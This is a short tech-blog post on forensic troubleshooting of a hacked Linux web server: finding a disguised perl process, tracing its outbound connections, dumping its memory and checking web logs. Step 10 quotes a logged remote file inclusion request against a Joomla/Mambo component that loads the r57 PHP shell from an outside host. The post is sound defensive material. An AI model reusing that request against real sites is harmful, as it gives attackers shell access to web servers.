Adam’s Tech Blog

This is a quick and dirty document on how to troubleshoot h4xed l00nix boxen.

The scenario is as follows:
Received reports from outside ISPs of an attempted DDoS attack on an IP address in their netblock. After closer investigation this machine had a few rogue processes noticed by issuing “ps auxww”. These commands were listed as “/usr/sbin/httpd” and not the full path to the normal httpd binary on that system. The ps name was forged. After catting “/proc/<pid>/status” I could see that the process running was actually perl. Luckily this particular attack was not a root-level attack. If you suspect a root-level hack please make sure to download a utility like rkhunter to perform a quick and easy scan of the entire system for possible root kits. Also make sure to download staticly-linked binaries of ls, ps, pstree, and strace if you suspect root-level hacking. Hackers usually replace these files to obfuscate their rogue processes and files.

Troubleshooting Steps:

1. ps auxww (showing all processes)
2. top (to analyze possible high-load processes)
3. netstat -tupan | grep <pid> (to see if we can find out if the PID is listening)
4. strace -p <pid> (to watch what the process is actually doing)

   socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
   ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfffb8a8) = -1 EINVAL (Invalid
   argument)
   _llseek(3, 0, 0xbfffb8e0, SEEK_CUR)     = -1 ESPIPE (Illegal seek)
   ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfffb8a8) = -1 EINVAL (Invalid
   argument)
   _llseek(3, 0, 0xbfffb8e0, SEEK_CUR)     = -1 ESPIPE (Illegal seek)
   fcntl64(3, F_SETFD, FD_CLOEXEC)         = 0
   connect(3, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr
   ("xxx.xxx.xxx.xxx")}, 16) = -1 ECONNREFUSED (Connection refused)
   close(3)

5. Reading above shows that we were trying to connect outbound to “inet_addr” on port 23. This happened over and over again. This was apparently part of a DDoS. This script is not your normal script.
6. lsof -p <pid> (this might be helpful to see what files the pid has open)
7. cat /proc/<pid>/status to see other useful information. Also check /proc/<pid>/cwd to see if the process will give away it’s working directory.
8. find / -gid <gid of httpd> > /root/apachefiles.txt (I suspected the file was written out from the httpd user so it’s somewhere on the file system)
9. Download MemGrep
   
   Memgrep allows you to view memory addresses and view/search contents at that memory address.

   First download, compile and then make. Run memgrep as follows:

   # ./memgrep -p <pid> -L

   Then run memgrep to dump all information from the data (and even the text memory area if necessary) with this command:

   # ./memgrep -p <pid> -d -a <memory address> -l <size in bytes to dump(listed to the right of the mem address)>

   Sometimes this will yeild the hax0r’s name or type of hack.

10. Check your httpd logs. Most common exploits for PHP scripts are automated (watch out for Mambo and Joomla components!) Most requests come from an agent called libwww-perl. Joomla and Mambo components are usually subject to remote inclusion vulnerabilities. Look for “mosConfig_absolute_path=” in your logs.
    
    Here’s a sample:

    xxx.xxx.xxx.xxx - - [07/Jun/2007:11:34:38 -0500] "GET /index.php?option=
    com_phpshop&page=shop.registration&option=com_phpshop&Itemid=61/component
    s/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=http://al
    ienr0x.by.ru/r57.txt? HTTP/1.1" 200 14130 "-" "libwww-perl/5.805"

11. r57.txt is a phpshell script. Once they load the URI above they have access to phpshell where they can read/write/modify and delete any file with permissions for the httpd UID/GID.
12. Rectify the situation by disabling that component and searching for an upgrade.